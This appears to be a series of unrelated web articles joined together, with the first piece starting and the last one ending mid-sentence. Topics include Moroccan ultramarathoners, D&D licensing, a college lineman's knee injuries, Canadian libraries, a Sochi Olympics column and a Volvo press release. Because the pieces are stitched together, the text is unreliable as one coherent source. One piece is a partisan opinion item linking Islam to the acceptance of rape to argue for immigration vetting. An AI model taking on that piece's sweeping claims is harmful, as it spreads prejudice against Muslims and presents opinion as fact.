37, is the fifth runner and the only woman sponsored by Rahal. At her home in Salé, the neighboring town to Morocco’s capital, Rabat, she keeps her wedding ring in the same box as a gold medal from the May 2006 International Military Sports Council championships.  Photo  Her participation in the Marathon des Sables is a first. As a leader of the military cross-country team, Khali identifies with a veteran group of Moroccan champions.  “We, the old generation, we always are proud when we win the medals, but we don’t care about the material stuff,” Khali said. “We used to love doing sports for sport, not for anything else.”  Beyond training and endurance, minute details separate a middle-of-the-pack finisher from a champion in the punishing ultramarathon. To meet the race’s daily 2,000-calorie requirement, Rahal Groupe’s runners and Ahansal will fill 15-pound bags with carbohydrates like pasta and rice, as well as dates, nuts and honey — native foods that are more common in the area than PowerBars.  One thing they will not be bringing for six days in the Sahara: sunscreen. They have no need for it, Morabity said, after a lifetime in the desert.  Advertisement Continue reading the main story  Rahal Groupe meets before the marathon to develop a system for tackling the steep descents and dunes of the race, such as running uphill in a zigzag formation.  “Some of the other runners, they go directly up the hill,” Morabity said. “They don’t notice the secret.”  Is the secret to these runners’ success in the training, or are these Saharan athletes, most of them of Berber descent, born to be runners?  Ahansal or Morabity may have the same strength as a foreign competitor, but their upbringing separates them.  “It’s not a luxury life and that’s where you learn the resistance, the endurance,” Ahansal said. “The people are the same, but the life isn’t.”
-But that doesn't mean I am not still disappointed in the people inside Wizards who are taking the "ungenerous" way forward. The OGL lead to an explosion of creativity and new games, companies and memes in the gaming space, all of which must have improved both Wizard's (the company) and D&D's (the culture) survivability long term. A monoculture of one or two companies does not make for a long-term, successful roleplaying culture. You need an ecosystem for that.The OGL obviously created a thriving ecosystem. The OGL's ecosystem still exists, but it is greatly weakened by the loss of the "currently supported" version of D&D. I fear the GSL (even as revised) will actively prevent a new ecosystem from forming, and that the neither the OGL nor the GSL ecoystems (such as they are) will be strong enough to survive independently. And if they do survive they will surely not be as vibrant and creative as the OGL ecosystem during the 3.x era.
-DAMIEN MacRae’s life was turned upside down when he was diagnosed with stage four melanoma, but a project with his son has been the silver lining.  Two years ago Mr MacRae, of Petersham, found a mole on his ear and went to have it removed, only to discover it was a malignant melanoma.  As a result, he had a third of his ear removed, but that was just the beginning.  Last year doctors found a tumour on his lungs which was surgically removed, along with three of his ribs.  After getting the all-clear, he had a seizure three weeks ago and, while he was in hospital, more tumours were found. He now faces both surgery and radiation.  media_camera Damien Macrae and his son Aiden’s proposed lego campaign, they need 10,000 votes to make there idea a reality. Picture: Craig Wilson  Mr MacRae said one positive was that he got to spend more time with his seven-year-old son Aiden.  “Aiden is obsessed with Lego and we play it together every day,” he said.  “One day we came across this website called ‘Lego ideas’ encouraging people to come up with new sets.  “We talked about doing an Australian beach set with sunscreen and surf lifesavers connecting it to sun safety and melanoma.”  media_camera Damien Macrae and his son Aiden are campaining to have sun safe lego made up (they have designs with life savers with sunscreen on etc) they need 10,000 votes to make there idea a reality. Picture: Craig Wilson  It has been a passion project for the past few months and evolved into a classic Aussie beach scene, complete with lifesavers, a rescue boat, red-and-yellow flags and, of course, seagulls.  Mr McRae said they had put a lot of thought into the set, naming each character after a celebrity who has had skin cancer. Aiden and Damien need 10,000 votes to bring their Lego idea to stores all around the globe.  Vote at: ideas.lego.com/projects/155367/
-The Greenwich Meridian before the ATC  Meridian Marks in the UK  Use the drop down list to activate the map  Click to see choices ALL MARKERS Arch Astronomical Beacon Bench Bollard Boulder Building name Business name Clock Finger post Ground (compass rose) Ground (line) Ground (mosaic) Ground (slab) House name Housing estate Industrial estate Lake MTL MTL disc(s) MTL? Marker 'stone' Millstone Obelisk/Pillar Park Path Pavement (compass rose) Pavement (line) Pavement (mosaic) Pavement (plate) Pavement (slab) Plaque (plinth) Plaque (post) Plaque (tree) Plaque (wall) Post Road (line) Road name School School name Sculpture Sign on post(s) Sundial Sustrans national cycle network post Telescope Time capsule Transmitter Tree Tree Council Wall (line) Weather vane  On the map:  Click on the red flag for location details  Double click on a blue flag or click on the + symbol to zoom in  Marks in close proximity are grouped together and marked with a blue flag. They can be ungrouped by either clicking the ‘deactivate cluster control’ button or by zooming in.
-Editor's Note: This is the second of a four-part series on senior offensive lineman Tyler Johnstone and the two knee injuries that have kept him from game action since Dec. 30, 2013. Parts 3 and 4 will run Thursday and Friday morning.  To read part one, click here  Despite the disappointment of a torn ACL and with months of tedious rehab awaiting, Oregon offensive tackle Tyler Johnstone took it all in stride. Friends made sure the person who lives for lazy afternoons wasn’t in danger of going stir-crazy by loading him up with fun projects while he began his recovery.  Coloring books were a popular choice during the first few days while he was laid up from the surgery. He even had some help from his Twitter followers when it became too hard to decide whether to create such masterpieces as a dragon, a “choo-choo train” or a “trippy iguana.”  Once he started to work his way back to the field, his support system sprung into action. His parents were of course front and center; Kevin with strong direction and tough love and Wendy providing the emotional support only a mother can give. Because Wendy works as a flight attendant, she has special access to open seats by flying standby, so she can head to Eugene at a moment’s notice.  Because his parents still lived in Arizona, girlfriend Ashley Laing became their eyes and ears, as did fellow Arizonan, offensive lineman and fellow Moose Andre Yruretegoyena.  “His biggest supporters are obviously his family; but also his girlfriend, and all of us close to him,” Yruretegoyena said. “He has no issue speaking his mind and going a little crazy to light a fire under everyone's butts.”  It was time for a little loving payback. His family, friends and teammates got the chance to light a fire under Johnstone’s butt for a change.  Apart from that support, being a member of an elite Division I college football program was a boon. Johnstone had access to top-level trainers and medical equipment in Oregon’s athletic health center.  On top of all that, he had offensive line coach Steve Greatwood and graduate assistant Joe Bernardi – the former a grisled patriarch, the other a bouncy older brother whose Fresno State biography lists former NFL offensive lineman Kyle Turley as his favorite because he was "the nastiest offensive linemen ever."  Bernardi had a unique perspective on what Johnstone was going through as the leg braces got smaller and the exercises harder -- he tore his ACL four times by the time his collegiate career ended in 2010. As Johnstone grew stronger, so did his relationship with his graduate assistant mentor.  “Tyler’s a kid and a personality where you just have to let him go. That’s his character and his personality,” Bernardi said. “You can’t put a collar on him all day long. When you’re around a kid every day for three years, you know how to deal with that dog.”  As August drew near, bringing the start of Oregon’s fall practice sessions, Johnstone appeared on the verge of a remarkable comeback. His knee passed all the necessary protocols and he was cleared to join his teammates for their first practice Aug. 4. Seniors Hroniss Grasu, Jake Fisher and Ifo Ekpre-Olomu had turned down the NFL for one more college go-round, along with potential All-America quarterback Marcus Mariota.  Johnstone was healthy and felt ready to rejoin his friends on the battlefield.  “When you’re hurt, we think we can get right back into it and play,” Grasu said. “We’re young and we think we can be like Superman, but the reality is we have to listen to the trainers and the doctors -- and Tyler did a great job. He did everything he could.”  Near the end of the second practice of the 2014 season, Johnstone was in his last drill of the day, a full contact, live-action session. Defensive end T.J. Daniel came crashing around Johnstone’s left side, his momentum putting a lot of pressure on the inside of the surgically repaired right knee.  Johnstone felt it buckle. It didn’t hurt, not much anyway, but it was enough that Bernardi came running over to help his left tackle get off the field. The knee swelled up some, but the initial tests came back clean.  Johnstone figured he dodged a bullet.  Johnstone (right) and Mariota celebrate a touchdown against Arizona State in 2012.  Then two days later, he jumped into a punt drill and felt the knee buckle again. At that point, his optimism faded; he couldn’t ignore his body any longer.  “I wasn’t sure anymore,” Johnstone said. “I just had a feeling of ‘uh-oh,’ a sense of doom. The coaches didn’t know either though; they were just worried. Somehow, subconsciously, I knew something wasn’t right. I was prepared for it to be torn.”  ‘NEVER TOO LATE TO BEGIN AGAIN’  The next day, everyone was crowded around Dr. Gregory Skaggs’ computer. All of the futuristic equipment and decor in the training center make for a dark, sterile setting, fitting for delivering bad news. Despite the mural of an Oregon basketball player plastered across the only non-glass wall, the most notable green or yellow item in Skaggs’ workspace is a Brett Favre bobblehead.  The next few minutes were a blur of tears and emotions for Johnstone, who had bolted from the room -- as fast as one can without a right ACL. He didn’t make it far before Bernardi chased him down and gave his protege a shoulder to cry on. Once Johnstone gathered himself some, he and head coach Mark Helfrich called Johnstone’s parents, then Greatwood gathered Grasu and Fisher so they could tell the rest of the group.  As word spread within the football complex, Yruretagoyena made sure his best friend wouldn’t have to wait alone while the rest of the team finished their workouts. Laing was on the University campus when she got a phone call that made it clear to her she needed to get across the river without going into specifics.  After the second injury, Wendy and Kevin Johnstone flew to Eugene in search of answers. After everyone reviewed Johnstone’s surgery, his rehab, everything they could, there was still no good reason why his ACL had robbed him of a triumphant return.  “The only thing we could think was maybe with a body as big as his, some guys can come back quicker, but maybe he had to take more time,” Kevin Johnstone said.  The second injury affected Johnstone emotionally more than the first. The first few days after the MRI were among the hardest of his life. He dwelled on the months he’d spent working his way back, the hours of sweat and pain he now considers a waste of time. Not known for his patience from the day he was born, he wondered whether he had done enough, if he could have worked harder to prevent the disappointment he now stewed in. That he still stews in.  “Not every aspect of the first time was a failure, but I did re-tear it,” Johnstone said. “Nothing of that is on the trainers or anything, I just feel I didn’t go above and beyond what I would have needed to do to get it back to being ready. I don’t think I listened to myself, listened to my body after I passed those tests. I don’t think I listened to my knees the first time around, and that’s where I failed.”  Like the first time, though, Johnstone wasn’t despondent for long. Laing showed up at Autzen Stadium to find him waiting for her in the parking lot.  After consoling her now-boyfriend, she took him on a walk across the Autzen Footbridge to clear his head. It was on the bridge where they sat down to find the following inscription on the bench: “Good morning. It’s never too late to begin again.”  “It seemed so perfect at the time and it was pure chance we sat on that bench,” Johnstone said.  That was when he stopped feeling sorry for himself. It was time to get back to work. Back to his team.
-The left wants us to believe we can create utopia on earth, despite the pure evil that some religions and radical Islamic terrorists preach. These jihadists wouldn’t think twice about killing us if presented with the opportunity. There are radical elements of Islam that are quite sickening, but the left tries to cover up.  In fact, some of the extreme views of Islam actually believes it’s okay to rape someone in certain circumstances. Suad Saleh, a professor at the Al-Azhar University in Cairo, Egypt, said that rape was acceptable in times of war between Islam and certain enemies such as Israel. This is what she said:  The female prisoners of wars are ‘those whom you own.’ In order to humiliate them, they become the property of the army commander, or of a Muslim, and he can have sex with them just like he has sex with his wives.  Not to mention, there are a few sections of the Quran that would support this claim. Although there are moderate Muslims who reject and condemn these sections, there are still extreme Muslims who really believe they have a right to rape.  This is why President-elect Trump’s plan for “extreme vetting” is more necessary now than ever. We cannot allow people to think rape is acceptable in our country.  Furthermore, we should not let people in who could possibly pose a threat to our society and our way of life. We should admit people who share our values and respect our laws. Plus, we need to do everything in our power to protect our citizens first.
-Ted Cruz, the Texas senator currently in fourth in recent polls of the Republican field, gave a shrewd performance at the debate in Milwaukee on Tuesday night. He largely avoided the spotlight, instead allowing Ben Carson, John Kasich, Donald Trump, and Marco Rubio to squabble among themselves. His talking points, however, when he offered them, were carefully crafted to appeal to Evangelicals, Tea Partiers, and voters who want an outsider in the White House. In other words: much of the Republican base. As MSNBC wrote last month, “The Texas senator could very well be the sleeper, the ambush predator, and the fabled tortoise of this election.”  As the New Republic's Elspeth Reeve pointed out last month, Cruz believes that the Republican Party breaks down into four main brackets: the establishment, the Evangelicals, the Tea Partiers, and the outsiders. When the current frontrunners fade, Cruz thinks he can unite those last three groups, counting on his Christian roots (his father is a pastor) to secure the Evangelical vote, his ties to the Tea Party to become its standard bearer in the presidential race, and his record criticizing Washington to appeal to the voters who want an outsider candidate. Indeed, on Tuesday night, his talking points were carefully crafted to appeal to those three brackets.  In response to a question about immigration, Cruz said: “If Republicans join Democrats as the party of amnesty, we will lose. The politics of it would be very, very different if a bunch of lawyers or bankers were crossing the Rio Grande, or if a bunch of people with journalism degrees were coming over and driving down the wages in the press,” he continued. “Then we would see stories about the economic calamity that is befalling our nation." Those talking points are likely to resonate with the disaffected white voters currently rallying around Trump, who want an outsider in the White House.  Cruz also leveled harsh critiques at the “cronyism” in Washington. “Washington is fundamentally corrupt,” he said. “There are more words in the IRS tax code than there are in the Bible.” He has built his career on criticizing Beltway insiders, even from within Washington itself. As senator, he has attempted to shut down the government over both the budget deficit and Planned Parenthood funding. That record will help secure the allegiance of the voters who want an outsider in the White House—if and when Carson and Trump drop out. Furthermore, his Biblical reference may play well with Evangelical voters, who may begin to sour on Carson, particularly after the revelations about his life story this week.
-Though each is demographically and physically unique, Canadian cities and towns will usually yield a number of tangible commonalities. You'll typically find a fire and police station, at least one school, a post office, and the town hall, where civic business is conducted. Sprinkled among these would be a host of shops and restaurants, many of which form the backbone of a lively main drag. But perhaps the most integral institutional asset — the public library — is really where the heart of the community lies. Not only are these valued establishments sources of free information, their ability to educate and foster engagement between family, friends, and even strangers becomes an immeasurable boon to the community.  The Library of Parliament in Ottawa, image by Marcus Mitanis  Many libraries across Canada have long been housed in historic brick or stone buildings, serving as a reminder of the institution's longevity across eras, even in spite of advancing technology that threatens the traditional library experience. It's important for a library to have a welcoming public face — something highly attractive on the outside will naturally invite users inside. While these preserved structures of yesteryear often catch the eyes of passersby, gleaming new libraries are popping up across the country too, challenging the lingering notion that libraries are an obsolete vestige of the past.  While not a public library, we'd be remiss not to mention the Library of Parliament in Ottawa, the nation's capital. Elegantly standing at the rear of the Centre Block, the Gothic Revival masterpiece is the only surviving section of the larger building's original incarnation, which was sadly gutted by a fire in 1916. Since its completion in 1876, the building has undergone multiple renovations, the most recent of which in 2006 saw a substantial rehabilitation of its facade.  A rendering of Calgary's Central Library, image via Snøhetta  The discussion in the thread for the upcoming Calgary Central Library inspired this article, with Calgarians proudly proclaiming the new facility among the best in the country. As the first pieces of cladding now appear, it's increasingly hard to argue with that position. With DIALOG, Norwegian architecture specialists Snøhetta have designed the under-construction building, adding to their list of bold and imaginative civic spaces. With an active LRT line piercing the base, and wood-laden interiors glowing with warmth, the library will become an instant icon in Calgary and a model for how buildings should interact with and integrate their surroundings.  The central branch of the Vancouver Public Library system, image by Flickr user Michael Muraz via Creative Commons  The central branch of Vancouver's Public Library system is anchored to the downtown core by a nine-storey rectangular box, which is hidden by a striking elliptical colonnade that houses diverse reading and study sections. A glass-roofed concourse bridges the gap between the two distinct structures, forming a grand entrance and animated pedestrian strip on the ground. The Colosseum-like building was the largest capital project undertaken by the City of Vancouver, and after a favourable public referendum, Moshe Safdie and DA Architects won the design competition for the development. An attached office highrise and an eclectic mix of retail and restaurants are also provided on the block, which was completed in 1995.  Surrey City Centre Library, image by Flickr user Colin Knowles via Creative Commons  The 2011-built Surrey City Centre Library is the second entry on this list from British Columbia. Replacing the Whalley Public Library, the Bing Thom Architects-designed complex forms part of a larger revitalization initiative undertaken in the downtown core. Awarded LEED Gold certification, the $36 million CAD project captures 7,200 square metres of usable space across four floors, though much of this space was not dedicated simply to standard book collections. Rather, the focus is on the reading and study spaces, which are arranged around a winding atrium culminating with two skylights. Illustrating the power of technology and social media, the building's modern architecture was heavily influenced by the needs and desires of the public, who were engaged through Facebook, Twitter, and Flickr throughout the design process.  The Toronto Reference Library, image by Marcus Mitanis  The Toronto Reference Library's interior motif of curving white balconies is somewhat similar in style, though it predates Surrey's by 34 years. Designed by Raymond Moriyama, the five-storey building also contains an airy atrium and skylight. This interior layout maximizes natural light and provides dynamic sightlines between floors. Located one block north of the busy intersection of Yonge and Bloor, the biggest public library in the city sees a steady stream of eager visitors every day. It's no coincidence either — with 100 branches, the Toronto Public Library network is the largest in Canada and the the world's busiest urban library system.  Halifax Central Library, image retrieved from Google Street View  Opened in 2014, the Halifax Central Library is one of the newest and most attention-grabbing libraries in Canada. Designed by Schmidt Hammer Lassen of Denmark with local practice Fowler Bauld and Mitchell, the flagship library replaced a surface parking lot at the corner of Spring Garden Road and Queen Street, a prime location in the downtown core. Designed to resemble stacked books, the building's cantilevered fifth floor is home to a light-filled indoor space called the Halifax Living Room, which features access to a cafe and a rooftop terrace. The elongated block hovers over the ground-level entry plaza in dramatic fashion. With an auditorium and multiple study spaces spread across the five-storey structure, the library has quickly become a central gathering place for Haligonians.  Calgary Central Library cladding installation, image by Forum contributor Surrealplaces  Canadians would be wise to pay a visit to their local library and discover everything it has to offer. From an architecture standpoint, the fusion between design and flexible educational spaces has spurred some truly amazing places that are worthy of in-person admiration. With Calgary's promising new library taking shape, the bar has certainly been set high for robust civic spaces in Canada.  Additional images and information about the Calgary Central Library can be found in the Database file linked below. Want to get involved in the discussion or share your photos? Check out the associated Forum thread or leave a comment at the bottom of this page.
-By Tae Hong  If there’s one thing Justin Chon loves, it’s movies.  For a second-generation Korean American kid growing up in a predominantly white Orange County neighborhood, movies — movies about cartoon rabbits, about Spanish treasure maps, about Neverland and about time-travelling cars — were the shaping blocks of childhood, of dreams.  And if he was sitting in theater seats all those years ago, it’s on the big screen that he now finds himself. Best known for big-name projects like “Twilight” and “21 & Over,” the 33-year-old actor most recently led an ensemble cast in Director Benson Lee’s “Seoul Searching.”  The indie effort, which follows a camp that gathers an eccentric group of Korean American kids in the 1980s in what critics have called “Bibimbap Breakfast Club,” premiered at Sundance Film Festival last month.  Chon, who had known Lee before the film through another project, plays Sid Park, a teen rebel based on Lee’s own experience visiting South Korea as a teenager.  Filming took Chon to the homeland, from which his parents hail and where his father was an actor.  “I like to do movies I care about. It’s not just about commerce,” Chon said. “That’s why I took the role on ‘Seoul Searching.’ I didn’t get rich off of it, I don’t think I’m going to get famous off of it, but I really respect Benson’s work, and I really love the script. As a Korean, and specifically as a Korean American, I thought it was important.”  The Korean cast, comprised of actors from Germany and Spain as well as J-pop star Crystal Kay, filmed for two months in both the Korean countryside and in Seoul.  He fell in love with both the food (“Korean-style fried chicken, Korean beef, insane dry-aged KBBQ.”) and with the cast, which also included veteran Korean actor Cha In-pyo.  “He’s so gracious, such a great person. Great humanitarian. He’s a stand-up guy. I learned a lot from him, not just about acting, but also about life,” Chon said.  The film deals with adoption, the after-effects of the Korean War and each of the kids’ Korean American experience.  “Especially in my own storyline with a Korean dad, it’s very much an issue that all Korean guys grow up with — miscommunication, identity issues, cultures clashing,” Chon said.  His own Korean American experience was a meeting of two worlds, a jam session of H.O.T and Tupac, of Death Row artists and Seo Taiji, of Korean film classic “Friend” and American film classic “Back to the Future.”  A Silicon Valley internship the summer he was 18 years old was enough to convince him that business was not his forte. He turned to acting.  “I didn’t think I would make anything doing it,” he said.  It’s been a 13-year journey through Hollywood since his first acting class, when he was asked to improvise a scene in which his grandmother was dying.  He remembers breaking down and crying, his back to the class, as he tried his hardest to suppress his emotions.  “As I turned, everyone started clapping and cheering. I think it was the first time in my life where I was applauded for being truthful with what I was feeling. No mask, just raw,” he said. “People find that beautiful, and that’s what acting is. It’s shedding light on the human condition. That was the most cathartic thing I had experienced. So I said, let’s do this.”  His end goal isn’t fame. It’s experience he’s after, whether it be a chance to film in places like New Zealand or Russia or taking up roles outside of acting.  Chon recently tried out the director’s chair for a low-budget film called “Man Up,” which he also wrote and produced. He called it the hardest job of his life.  An indie comedy about a teenage slacker who “mans up” after he accidentally gets his Mormon girlfriend pregnant, the film will be featured in upcoming film festivals, including CAAMFest in San Francisco.  It’s a part of a content-creating process he looks to continue, even as he sifts through project offers and a role on the Yahoo series “Sin City Saints.”  “[Films] are the things that shaped my childhood,” he said. “And to be even just a little iota, a little part of that? It’s a total honor. To be able to have that privilege — that’s amazing.”
-When I returned to the laundry a day later, I was given two shirts.  SOCHI, RUSSIA—Halfway through the Olympics, I brought four shirts in to be cleaned. They handed me a handwritten form more complex than a mortgage application.  On the ground, Sochi was a pleasantly surreal experience; a small glimpse into what life in Russia must once have been and sort of still is.  To the guy who is wearing my stolen shirts, enjoy them. I hope they keep you warm in the penal colony.  For instance — I stayed in a decent-ish hotel room that contained two single beds. The first night, I rolled over and right out of bed three times, smashing my head on the nightstand during the last of these trips.  So I pushed the beds together. It was a bit of an effort. They are oddly dense beds.  The next day, I get back to the room. The maid has pulled them apart again, replaced the nightstand and plugged a lamp back in.  Every evening, I’d push the beds together. Every morning, she’d pull them apart. I like to think of this as Our Thing.  There was a lot of talk when we got here that we were all being surveilled. Someone wrote somewhere that your computer would be hacked within a minute of connecting to the Internet in Russia.  So, to my hacker, I hope I haven’t scandalized you too much. I would prefer it if you waited until I got home before draining my bank accounts and stealing my identity. I can live without the money. I can’t survive the idea of being trapped penniless in the Domodedovo Airport for a decade.  All this talk of being watched led to a lot of healthy paranoia. I wrote a nasty piece about Vladimir Putin. The next morning, a note was slipped under my door: “Dear guest, Could you come to the reception please to clarify some information about you. Thank you! Reception.”  It was the exclamation mark that chilled me. I never went.  Someone sent me a lovely email advising me that I was “on the list” and that “you will be targeted”.  I wrote another nasty thing about Putin. When I got home that evening, the door to my hotel room was wide open. There was a key in the lock. Either my secret policeman was getting careless or cocky.  To combat this feeling, you need a safe place to hide. So you find a bar. A bar is your assembly point in case of disaster (and often the cause of it).  As Canadians, we are in the odd habit of finding The Worst Bar in (Country Name Here) wherever we go, and then claiming it. It’s our inferiority complex meeting our high-functioning alcoholism.  The place we chose is fetchingly named Bar Number Four. It was hideous, overlit and unfriendly. We loved it. It was run by an odd character named Ruslan.  Ruslan said he came from the back of beyond, but his English was perfect. He was deeply interested in each one of us, in our lives and political views. We grew suspicious.  When a couple of Quebec journalists burst into the bar one night, already with a good head on them, Ruslan hailed them in excellent French. We never went back.  Instead, we moved down the road to a decrepit shack selling the vintages of the Krasnodar region. Neil Davidson of Canadian Press called it “The Wines of Mordor”.  Far too many nights refused to die at The Wines of Mordor. The jet lag never really let go of any of us. Seven times here — SEVEN! — I performed what is known in the business as a wraparound. I got up from the bar and went straight to breakfast. I will require long-term hospitalization when I get home.  Of course, you get sick. We all got sick. We’d go from the sweaty confines of The Wines of Mordor, out into the dawn chill, then back into the swampy cafeteria. It was good to get there early, when the breakfast smelt is fresh.  Here was another consistent Russian oddity — heat. Everywhere in Russia is heated like a sauna — the buses, the bars, your room. This must be some cultural echo from the bad old days, when everyone froze.  The radiator in my room pumped out heat like a blast furnace. I honestly worried the drapes would catch fire. It had no knobs. To combat this swelter, I left all the windows in the room open at all hours. Another thing that drove the maid insane.  The only thing that isn’t hot in Sochi is food and the water in your bathroom. That is uniformly lukewarm.  As it ended, we were preparing for the shakedown. Some of us were given lists of items in our rooms, and their replacement costs. A problem — many of the items weren’t in the rooms when we arrived. We have been warned that we will require a signed document from our maid (obviously a KGB colonel) before we can leave our compound. Fortunately, I saw this coming and have been tunnelling for days.  Much of this may sound ungracious. And it is.  But it is tinged with a real sense of concern about the people we leave behind here. Sochi was transformed for these Games, but with no eye to permanence. I’ll be back in four years for the 2018 World Cup. I expect much of what surrounds me as I write this to have been reclaimed by the earth.  So I worry about these people, and what they will do now. Every Russian under 25 I met here was heartbreakingly hopeful. You look around at where they live, at the people who lead them, and you wonder why that is.  I was struck late in the Games by an op-ed written by Masha Alekhina, one of the members of Pussy Riot. It was framed as a cry for help.  “The quasi-fascist direction of this regime over the past 13 years depends on a deadening of the intellect. For as soon as obliviousness ends, so does Mr. Putin’s power. Those who are writing about the Olympics and who are currently present at the Games should not fall into this forgetfulness, because it is fatal.”  This echoes a line from one of the great opponents and poets of Communism: “The struggle of man against power is the struggle of memory against forgetting.”  Sochi was weird and, in its way, wonderful. It was also a Mammon temple built on the backs of people who didn’t need it and could ill-afford it.  Beyond the small inconveniences that I’ll be dining out on as war stories for years, that’s what I’m determined not to forget.
-- Hi, I'm Louisa Winters. Welcome to this test preparation course for the 14CFR part 107 small unmanned aircraft system certification, required by the FAA in order to fly your drone commercially. Some of you may know me as an Adobe and Apple instructor, but in addition to that, I am a private pilot, and a certified advanced ground school instructor for the FAA. I have been flying unmanned aerial systems for a while, and have fallen in love with the technology and its possibilities.  That, together with my love of flying, keeps me busy for much of my time these days. Whether it's flying an airplane or flying a drone, I spend most of my working hours in the sky, and wouldn't have it any other way. In this title, I will start by explaining what major provisions exist in 14 CFR part 107. Then, we will go through all applicable regulations: aircraft registration, operational limitations, operations near airports and aircraft.  Weather, loading and performance, emergency procedures, physiology, medical conditions, and drugs and alcohol. Aeronautical decision making, or ADM, some risk mitigation, and maintenance and preflight procedures, and waivers. Then, we will go through a self-assessment section, in which you can see if you're ready to take the test or not. I am confident that this title will help you get prepared to take this important test. Let's get started.
-Like many of you, I’ve got a bit of a soft spot for the Volvo XC70. To me, it’s the perfect balance of utility, handling, and under-the-radar luxury for going up fire roads in the fall. Every once in a while, though, I find myself wishing the XC70 had a bit more of a summer vibe, you know? That’s where the Volvo XC70 Surf Rescue comes in.  First shown at the 2007 SEMA show as part of the launch of the then-new Volvo XC70, the Surf Rescue took the standard car and cranked it up- literally. The XC70 Surf Rescue is lifted a few inches over stock and equipped with some of the first diamond-cut wheels Volvo’s ever produced. The bright, primary color scheme, too, makes the Surf Rescue exactly the kind of vehicle you’d picture Miami’s South Beach lifeguards cruising around in.  You don’t need to listen to me rave about the XC70 Surf Rescue and whether or not it’s a proper homage to Old Milwaukee’s Swedish Bikini Team anymore, though. Check out the photos and the official SEMA press release from 2007, below, then let me know what you think of the Surf Rescue in the comments.  Las Vegas, NV (October 30, 2007) – It’s only fitting that a SEMA concept car from Volvo be focused on safety. It’s a natural fit. Yet 2007 marks the first year that Volvo has built a SEMA vehicle with a specific safety theme: enter the Volvo XC70 Surf Rescue (SR). Inspired by the surf rescue vehicles rolling up and down the Southern California beaches, the XC70 SR embodies Volvo’s core value of protecting life in a bold and eye-catching concept that will make its world debut at this year’s Specialty Equipment Market Association tradeshow.  As with every SEMA concept from Volvo, all of the XC70 SR’s standard safety equipment is intact and functioning. The 2008 Volvo XC70 is all new and incorporates the leading edge of passive and preventative safety systems.  “We developed the all-new XC70 with the goal that it should be the safest vehicle in its segment,” says Ingrid Skogsmo, Director of Volvo Cars Safety Center. “The XC70 model shares the same sophisticated network of interacting safety systems as the all-new Volvo S80. The patented body structure absorbs energy in a highly efficient way. And the interior safety system includes the latest generation of side airbags and whiplash protection. Furthermore, we are introducing a world innovation in the field of child safety.”  In a true demonstration of versatility of the family/adventure XC70, Volvo combines a height-adjustable integrated booster cushion – a world’s first – with an extended inflatable curtain to provide the industry’s best passenger safety system for precious cargo in the rear seat.  Safety innovations do not end there. The latest technological updates include a new, stronger side structure to optimize side-impact protection, not only for children but for all occupants. The body’s entire side structure is both stronger and lighter thanks to a well-balanced combination of high-tensile steel of different grades.  In addition, a new type of side-impact airbag – first seen in the all-new S80 model – refines Volvo’s patented SIPS (Side Impact Protection System) into an even more effective safety system. The new side-impact airbags have two separate chambers, one for the hip section and one for the chest. Since the hips can withstand greater force than the chest, the lower chamber inflates with up to five times more pressure than the upper section. The side-impact airbags interact with the inflatable curtains and the body’s network of safety beams to provide the most effective protection.  Volvo’s system for avoiding neck injuries – WHIPS (Whiplash Protection System) – is one of the most effective on the market. In the event of a rear-end collision, the front seat backrest accompanies the passenger’s initial body movement and dampens the incoming force rather like one’s hand does when catching a ball. The all-new XC70 features the next generation of WHIPS mechanism, further developed to ensure that the damping motion is gentle and to provide good contact between the head and head restraint throughout the impact sequence.  With the high ground clearance of the all-new XC70, there are relatively high-positioned bumpers which may create a greater risk of damage to an oncoming passenger car with lower positioned bumpers. To reduce the risk of injury in a collision, the front suspension sub-frame is supplemented with a lower cross-member positioned at the height of the bumper in a conventional car. This lower beam is integrated into the XC70’s structure and is neatly concealed behind the spoiler. In a collision, the lower cross-member is aimed to strike the oncoming car’s protective structure, activating its crumple zone as intended so the occupants can be given the maximum level of protection.  Protection for pedestrians and cyclists has also been further developed in the all-new XC70. The front has been given energy-absorbing properties, not least with a generously dimensioned soft structure in front of the bumper that helps reduce the risk of leg injuries. In addition, the spoiler’s lower edge has been reinforced and moved forward, almost on a level with the bumper. The aim is that the area of contact on pedestrians or cyclists should be distributed across a larger area, thus helping to further reduce the risk of injury. The hood lines are raised and a honeycomb structure underneath spreads the load in the event of an impact, thus helping to absorb the energy and reduce the risk of personal injury.  Further protecting the driver and passengers inside the all-new XC70 is the collapsible steering column which, upon deformation, moves horizontally for the best possible interaction with the airbag; pedals that functionally limit the risk of penetration into the passenger compartment; airbags with two-stage function; seat belt pre-tensioners and belt reminders for all five seats; force limiters for the front seat belts; reinforced, transversely fitted tubular beam between the A-posts; strong SIPS tubes in the seats and a sturdy magnesium bracket in the middle of the vehicle; diagonally fitted beams of Ultra High Strength Steel in the doors; and, as with all Volvo cars, a compact transversely mounted engine.  “The best way to protect the vehicle’s occupants is to avoid accidents,” says Skogsmo. “That’s why we’ve developed a number of advanced driving and support systems that interact intelligently to assist the driver in difficult situations, yet without taking over the driving itself or taking over responsibility for safe progress. The task is to assist the driver to take the right decisions, by alerting him or her and in various ways indicating how best to get out of the situation.”  In order to help the driver stay a safe distance behind the vehicle in front, Volvo has developed Adaptive Cruise Control (ACC). This system should be primarily regarded as a comfort function but it does also contribute to more controlled progress if the rhythm of traffic is uneven.  The technology also is used as a basis for several of Volvo’s advanced driving and support systems. Using a radar sensor, the adaptive cruise control continually monitors the gap to the vehicles in front and automatically adjusts the vehicle’s speed to ensure that this gap does not shrink too much. The driver activates the cruise control by setting a desired speed between 18 and 124 mph and then selecting the minimum time gap to the vehicles in front. There are five different time gaps to choose between.  Rear-end collisions are a common type of accident. In many of these cases, the reason is that the driver is distracted and fails to respond in time. Against this background, Volvo has developed a system known as Collision Warning with Brake Support. The area in front of the vehicle is continuously monitored with the help of a radar sensor. If the all-new XC70 approaches another vehicle from the rear and the driver does not react, a red warning light flashes in the windscreen. At the same time, a warning buzzer sounds. In certain situations, this is enough for the driver to respond and take action to avoid the danger.  If the risk of a collision increases despite the warning, the brake support system is activated. In order to shorten the reaction time, the brakes are prepared for action by automatic application of the pads against the discs. In addition, brake pressure is amplified hydraulically which results in good braking effect even if the driver does not press particularly hard on the brake pedal.  “If the road speed is not too high, brake support helps reduce the consequences of a collision,” says Skogsmo. “However, it is always the driver’s reactions that are crucial to the outcome.”  To help drivers maintain better control over the driving situation, the all-new XC70 is equipped with BLIS (Blind Spot Information System). Using cameras integrated into the door mirrors, BLIS registers whether another vehicle is in the blind spot offset to the rear. If there is a vehicle there, a light illuminates at the relevant mirror to alert the driver and increase his or her chance of making the appropriate decision.  The all-new XC70 has a highly advanced braking system with a number of functions that interact to ensure the shortest possible braking distance under all circumstances. They include 